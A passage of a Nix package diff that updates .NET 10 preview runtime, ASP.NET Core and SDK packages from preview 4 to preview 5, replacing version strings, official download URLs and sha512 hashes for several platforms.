-        hash = "sha512-PBvBPCAWmvHqbFDLO04gQkqECQwCEyvxkltpkLnZVnDpaNH+V/Dcqe/EgowxeTIjujjeRn335zfkDAiJXEq/rA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-isbzkA/HOGFEqZLugW6V9C7xx1RLA6p5v/YrdW9au1/RaCjS8OAS3/rcZKUT/lu6wubSGHaLdzWeqIwmWwgoaA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-G6SLD+2vlWcmL9K1JlW8cj7p7yNlB5DPvZ2LOoSm1TOz8eabKAFbUzAhzm1vjjbx4kVjgYGQjk9SxUb0jlNyBg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-whDhidFeiAPcU/aSCxUcgfgjbISQw2IwR2fHhHB2vE5Yf97XEIzYACpi/skGYqBWroXYAmaU/Pm5oULMrEJrBQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Rd/49ec4URHYjz9G7aOq+MlE9jXirUEzGNYvIIxu63ah3iZj6rTL9hP5/yHJFgOy2sTSGCNjmftiRp2LavS+fA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5N7wlWk5zDCzwqee5s8IDVfBMk7w50K6nuZworGH19K1q/twuuwflRIz07DBvNkhmR3E1ScSUYmZr3YP6o95aw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-elIMKxh2SsVvxA0TA+uZ4AhEfZgbjYawBBO0H1zEPMg+Z5B68qBl4bcPRhhlQvfZxTmXLDGv8ME53lkowMAY7A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-R3bUl0oLPwjxngS/KqDYO6+lhhwhAmd5N4yOlOqdpgfm719+1vuCYc2VLOx9MIf+sh664VsfuByCI9H9oji9dg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-9tUkHEWZpnmpqa7lMnQyPaajyJqGNtJnbfhNlfddvH8Fu8w4iFIAmEQs/qdYspA7GZqPsl8HAUGN82TEYiQAqA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Rw2ijbzcMUbs6vGu3AxIGNTNB+ZeZvuNNDvsj5XTOSL1o2ndU2eW343QAi1hcKXL1pc35eYJZWPOq/gQgBSnVg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-+yjaVe6Jic5H+VzO7/G9hLuyG67BpnL8XdUrlq2OCPJwPv088osfM5JFUm/WAU/uzmOjD0aaWU6W+o8X4+YmMQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-npo1EFBfZotj6hbR7uoArZeXEQtnKLarXYnez8JmmAZsRU4osSvYyg4Q/jGopjlFEuyixtWc3rb9rO6njYwxew==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-gLD9VVXQqUXHkZajhIX9yYIO9Y1x/RtVhNnoSAfLVzilYJw1z0OqdIUtc7VtP4yLSIfSelT8Vu6Nn8i2DD4eag==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-tWtY3DpiKsyQNOg4NN0i/IpRpJ4vjmbDk7B+OdqQrFKGwR/HKXlJ9KOMrqU9LsvEFE2WAGAr/UH0r96iZFAxtA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-+j0RMzpQi8K2PySVEatGfkorswWpRrYWTOzz0obbqd7Bj9Br7+0ENIBBuZXDESLZGDok88Go9F+6zcICKYooxQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-9kI8hH2vS45pgael3UCyVCYvmYH/cXKVrFzh7toKoN1p40YPsTh6qHQRjO4W828zdy2g74T5Ct2ypgMGfdzyyQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-VLW0msNDaNWb7XOjJ2Hm+Sz0QIem0WnktK5rFgmNZyfDXtF+dpm2c5XcrDFEOPdLLBTUtLqow75XlMdShieS1Q==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-uvB/nzacyGad9m7Td8HxrJvyEB7ZNlpm/cxk/G0ufjzTXofWziHKzC0x/gPdc2tZIJQPOaAXOUAcJo1cl4FUug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-vT00SyyvuADK059SOMzkuBH0uFNNae9H+kjZ+cNd0GvtEpdjdJButYtB4EY/iDKUETZvAwqCPMwfeymdnARDOg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-DVJVHV78Nd30U6kiQon16sCPrXuaZLOgFQMLFcMQ4L07srDd962CfijiWAWY5tvl9oO2uWWY9PVqvMFyyMI/YA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-UYU9F6bt9yhS4Q4XnbbXrZkWXGt9mRU3Sf3QLepGLEGZDTNMZ/qQ0cwECm1AFk/hvqtcsxR1Rf+Y5QzInY1Dqw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-eFsS+N1nnCG+NGq0jcVhQ0vk3Vthyrz4FsHvZqb2YUwvTDBy8deJZxgaTWBuzRX0QjMgojXjNRCGnjEdtOesEw==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Lc5B0EhxRtqJ0aoHwqu3lhzQ0iQi/sSB6ZE8zHCZ4Mmbl7ksbXdLfOxviOTp8pEvfIw+OEi0LYIP2H/v9uxtqg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-7raTvTDZSJ5SNIPU5hug3kGnQqKpNhaBGrXH3v9a0usFRgBbvXEBS9U475YH0Xr3skdOkGESxV7TAzWqMwGGuw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1pdCZOxyNRo849DdbceCdGubemC/Ef7APxQfQcxute4H8cX56H9vuvYSMigelNtmS6cMW40VCjZCcoB7WuC7tA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4zmNNMtPHXZpvAZSJcf+/gKIJ4bklQbhkwmllkboOyD+LHeHTeloBakB8IfVc1ZIPGeYmoH0rb7WNHuARTeAmQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-bqAnrKRGSbNZDaS+KVM0HzB6kXDogTK4AWw0u/HHqhLzbQalY53Jj4JNUyCL78aYUT1ltLXqWjbxalyXr4SWjA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-7a8P7l3yuhiUZfRCSy2BCLedgSVCIOGktdjIniMlQGou7FON701ld0JNI4Stc/WdOQe92IfOBxA1r2mhhpm+Ow==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-tTKpp123VyoMl6cesOqUbBa41hbnSIwHL1/YdebYvBlqv9rO6E5NOZpqbk2L9dF6gwMEVuPgQrxjLGH6EDqGzA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-gSMZ9F1gZ/cuDLo+I9k0/9h8Yz0xFRsCapNNzP5J9VQYzbQMU5gFp4zY2X/+ZIUNVQtCrTgDNNy4RXoP1Lo0DA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Ki/aU3comxUTo6NkvDlSZY6Og9UFDFzN1/QU6SUB2gUyiD5sm+sLTg5i5y9tqjDncXfGW+GsJYh1eorOM/uBWg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-EbFp4C0rB5GEd/EXaXTA2LlQ4XwhhzBTIP2f8AQY/26hYOXTYYk+ssz3RGNh81vt3QbBZocwN//Nx+mvwf3+iA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Ary6XYzkOkvpH5tLF2UH/owM3EXlI1GgaKaA7yYeJmA5qk2l4+gHqA/e465MgbgNYirRm4Btwp97Z0t8sEYsjA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-q+bdIwi2R6egAwfMbBFpjjl2T2ADeMBumODqQQU5kO4p56bSYAN97c2lAnJ6I+8x6EkZ92SHlAVrmauH/XR+KQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-b7ei4mhIRfcqyjq8v+D4SNjUWmLkVbvIf/JFAEXJo3SlRe3JSP7jS1MLW3d5D5/0vUU0l8IolPj5drAlywNA5g==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-x4c4bS0IRW8ELlG0ND2Wz3zMbqZGDgSV5WAIJpJh97SvHVeCZIZ6FLB1EsYmeMTCp0zyt5ZYOMCTAMuBO7B3Tw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MSCi3QAeZzaTWCoiwVoYJ+KicB5II2wozy+aGhowc2/E4RAAm0YlReD6o9YWlGW8KdNlqlcEQQS1zmu+qFz7Tg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-WtDdm/9kPWVZziKlVSZ95cJYBFZ+O9acpLsnWu+a4C7uaR0PnVA5kdV/KPZpZp5ZuSGDzW7LuZy85e/zYU+q5g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-DTTIMNHk4mhq/vm9mfnNjGl+vJiAVeNOi1Wv8CzAHbbqpmd1VgAIPGMj1a5tyRpGetr+E6LuNJr5hhdjdI3zpg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-XLolCkHXsP9M0HBsRHxzWE7Gvc0PYUlYFOa2zbIM5YqrnS3fBuSkwuy4pGKB3ovNhCV5M6ZUDFkwsW6QFXtdkg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-oyqPs7vbl/j2j9q9bxZrp510Kvl6vGRl6TCfV49MrpWXkVqMrh4MNkrcdfP5I5TR1q0FKPEZbYIbCfogoJSMCA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-hOgMOwwqKxKiEh51aoDrXS4ygFfByD8acPxhUPQKbuewoymPzWgF/BppaIyXJVFNvi4YMm0ANaQZ7asRv+6QLQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-zMT94I7Yjqlmb/nElrQ4KBS3PymsoYqcTxOKuBjffTpx/xcfPyTMNrVYW4ybuNjRAE3mUqx/LXHrQQ/+1k3oCQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-UYv0JpAcv6c5c7QdeM8xmQULQNxeIv87OYh7vVmy6mmGLVOipeDynwUrrZreyzr/Wl4i86//JsyEfzEWhViZZw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-SefFQ45L6kcn7UVPM2G3qFhDMZpgGqvWIFSITGvPW9BVbJfpH9Q/Tg/kFPbrfAVx/9DtTN4HBIpA/4RCeNY0hA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-KdRROs3JSxZ4+Wgqww8EwWE4p/Redg9d47peJ7sjsgAlRqTK8WpPiN50vPu3pXwcuGZozJ5e7dsg1/In1q6lZA==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.4";
+  release_10_0 = "10.0.0-preview.5";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.4.25258.110";
+    version = "10.0.0-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-ZMQ1mo01rBUxKthEWH3uHSJ/IH08m6Fu31DGcG+Top0LjTOIvRdUdJFlLxQjpnv79CxMeuiAr75CBhXlKbq/dQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-CDAgO72l8b5njlm/COTL9sDaUsmAnQJgBLou8OoP1qMIjI8CXXqSxmGbD7WG4HBW90laJtX9U3yuCatxyoFuHQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-fFa8BN1VFSkfwpqUTlAc4na3Iqp448Z5GIy5/jP74GPCGwTv0Py7phAT3XORTnpLQ4YmqBbAtvnPfwl2RqbSCA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-rJnr7E56vWYKJzF9N9pWrh+o6evb9KiP5fm+WOH01+jwW+wy1ekCwP3R6dniUM20lEgmZoIBDkz39GQPlpm58Q==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-D6jWC9w/Y99JtfP+XN2hNxOj+b6j58FQSAVD8rfDs4cfQnj8BC1vhQQ0FGlQxJNGBshI9LB3vmmuQ1es42twdQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-bmmoX34YuO67X5mn6Amdsvpdo0vPB4vsuxI8CGPUvntCUsfPxrIblYX0+ADAWKEsrlXvKmO5vqiGyj0dig7BEw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-1rbk8vVIsN4rpIyFpV3mBnUkPZG55DOqLEwDZnmuuBQjb5z084UJ2l1HE1KjhFqDDh4C5bxelxrNuEFWcoVibQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-eJ7G3LaAXtcJ8D+s0Z4s8E+uuIQI4kNrx+fnbrZfJzQC9HFM7mDGsI/ZtZE4v/Q7gFll0dXFulhb6uceX/uLTQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-kgcEGeDfHsldkpAKFJhP0SJtpgToFUYIU/6mGGvpsDqL9ODHmyQ4EqxU818pPNJHtHjxvYlsO2U8tSaAjM55fA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
+        hash = "sha512-sG1ip8UwDEp/x5VDgYDifBJ+lxV4+Ph0yMbXM74rZF77WbYz2I9mWMo028vItolnXLNlGmElmCBPwqW65B02HQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-x64.tar.gz";
-        hash = "sha512-oj825bLubRUzuHcKmxuQuAU77SxhNInTtcopj0VT0M3Hmtn1CABYoc6GjHyD6/RyfeN551eu5F3Afe9SjlXu6g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-yZiYPbLNXoujcDkAhzkp2T8P+MalG0ZaJwNZcrp38MGactPLhULdsy/s0edro5cWJzkaLgD1qf4d985kg5LTFw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-caTBSU5/1Xb+8RxckvzQ7Nkh/gQvSWcEpVqW/6UUXXk4xsQ1CQ4oXY/+FQwxHz7Wf3WxwePRktuUKfNPUwH93A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-YjtaKT+Y3TXTBfMRKBeSoavZzlV/MaZnOUPyC5KObqkYB2rY8hmD7FFIIGv6TAiY7o2SbflJJYOMzhGur2pVJA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-WqBom031NMIiW3gXDitS6LqItcJD5lXwqxxYoRNXAi98fX+0GM8UXX2CYT06OykNaKWaNNX+MyIcbYeHGbMFAg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-IxZn7c9uc0JAwKj0DrtCjntWhcUYW6H6UNX1By7YZTP56UtpVRyL9sFtpN5N/UmA5qwl8QShzBUYp5I5m/ImjQ==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.4.25258.110";
+    version = "10.0.0-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-QD2cczE5iV4+piafBUpTJN+HC661pv47t0+guuYiVJYt9JAlwBsWIIXoxjPIm0sshAN4Dw4yLXiJ1doWwYbKKg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-2SlNCqSiJOGnarCGhNgnWAhBtFoNlpU8MX70/ThYwIUkRVswJzT3btfVyUCyEv0Rb3pfExf3pEY6rb7JEJia7g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-Bq9SPYENOvwxGoODDhrAOwGzb7/JPs45XulU7LI4rlqv1APzMDMocOoxTytWnyR0xyHBLHjRYrG/K1/QddbCMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-muJNZSjDAkL1N/LT462JuH6+R7rUQf1nMN9SZNE1pjcFchtn9DTiJRgJATslrbLjc01lDiM+bIccV51xMkCmUA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-GQKyMLHyAP7HdioUscfhQBcqFVvYMS1TOOopDJUHphvj7X3HmV5Xaeng9VsR3+LudYWmVOb0tEZOWUFUY8563g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-7CHv9RsPi558nAC2zJ6c3YEJl8nSwZhwQsSM3Wv25AwlUqy/zaQFxWs8595Ss6IOa5HwaMbkvRAbiWwwKjK18g==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-lbpT2Zpfrx5mZ0e6zBn1kwEf/WtpQf9G7JACt3V1kYVXOKBliFr2cJnZq+bSnTYjNQVXysQzf6WZCJiHiNQvzg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-N7OLXKaeLLvdz69NfC0fZS5WNo88S8qELIzYH6EIolr79amshYVjY+puDhDIXOwDz/V+ZBaQ7d3wk48X03neMg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-bi0FPzwi5PYN8urumja3st1caOX8DQPE1OUfm1FXpav63rCioK9IDMZcPuo9X6eNTbos86u+dOzMBvZIXh0JFQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
+        hash = "sha512-EPWk90PYeVaI+rG55zbNduBL7LWlaQPZYHzXaUyBoKrO6Uj6URvkY+fXGe+KqpzNkJnvKmoPFdlV0jjOCRn8nA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-x64.tar.gz";
-        hash = "sha512-Q5h6kWq2+S45MH7AXRDlDiPHJ6dDahQnK6hgYrdvif9OKINB8eJtbpluS2HyAGqsN+twDzwjAMn/J8O26fiCog==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-cWsBVZtEMgwSRFnEYdyb56I5G2gOybpGoi93pzfrk8TjMjpzsRON3RV03MUJNMgq33q+eS1rvZU7iup5BhmUHw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-OqAvgpqCTI42rs5Tx0esxvpBKZOK8E/jBePfeuBmbfFytgpoeEGg+Y2J0UJkT17UL6FNMaE6Dn3hQfnAz+mmWA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-i5UP3wmfNAIsuxGuLnNvo2081+EXIwlxIw6z4M2z0z82tD+H7m+MB2fFbmYZBmZnvPyOJnpvQWllucN7DJIVLw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-NxfTJJu4d4zjaWgB7VcRW1UrIEwEgNOvvrjm+j8XufTqibe0FU46vfWCfqEcO2PX4pHnYgtI4LWpox0RbAWUvA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-uGB/aI7PBs+fspUEU4PXVlvCyQV+eQ93FqKsLQVsmva1o9ZC2Cob9PgnJ+C29rBmxy4sVO2Wn8Wt6jiEHYhAjA==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.4.25258.110";
+    version = "10.0.100-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-DUJ5oLNYU85hmiNB/jwjdfFfr9/GfUioXKbB1yEue/CYz+v+SEVdrvmK2pNX/Fg1sH/7PFSSNGVNrDn+2GTMkQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-G7cuus8JCj/DTdExGtY05PsA6kUjIKpo1iq7+DEhUYta5CucGJX7gE9Vz6zseAlcryPAzPRNAHaRLH46WgAXhg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-OMJfofQzWQel5YIQs0OxvtC0RE75SjNlWNcLqz8nY//XhhVeZmQPwI/Z/ZSb8GHE9pRR+rnApvE04BBKRAz5cg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-6Z8DhYuv+htB5n62KRt+nraPyJJkCXlNRBaYIJK36ANW5VR753m3dCFsHseu4ja2R0Vny3wNgV7NGevHGwf5cQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-iJeINwYYlV8vsQAFqmah5hfVLIzQF4PXgZ5DaO1cYLlUGt8Sb+fjB7dkwPDyg6TyCcDSAX2ZLaRDK2cbc3ZbRA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-TvO8F3u6p7o4zreM8BCbrM6h9EMs2MUuPXiyN81akr1mDpJndANqL8tRF19I/+vIpl3KVruQW8jtTy7P2MFceQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-inFNo+h7IdjYG3Cae45AHxrg9747rLmCn7hN4ptIxuc1UFABiszHL2Qt05Xo68CPmYfeuRQO2ouj8abL5BE47A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-3kPLgWklkf9lCKm+4ZEH/gPmVRYz8D/WF88poU5RQtvcrtne1Aan6DnznY0PtLaqF0nCySW2PJPMFWdCBnmwwQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-DvGTNB9FCheZbkeeQuaQh9cARzWJ8NjczB9OgHLxBM+D4GXjg2H5/crYTMgWqrC4B7grJCtvZ4WM3lknJeQq7w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm64.tar.gz";
+        hash = "sha512-xQhcU5dKu5lJp3TuYTuyLKoiu1EIgylqpeDPlZD08Tvg4ucHTkBU+bG/CdINCPL/IjWUSV6Vb77q6FxQjH8Vlg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-x64.tar.gz";
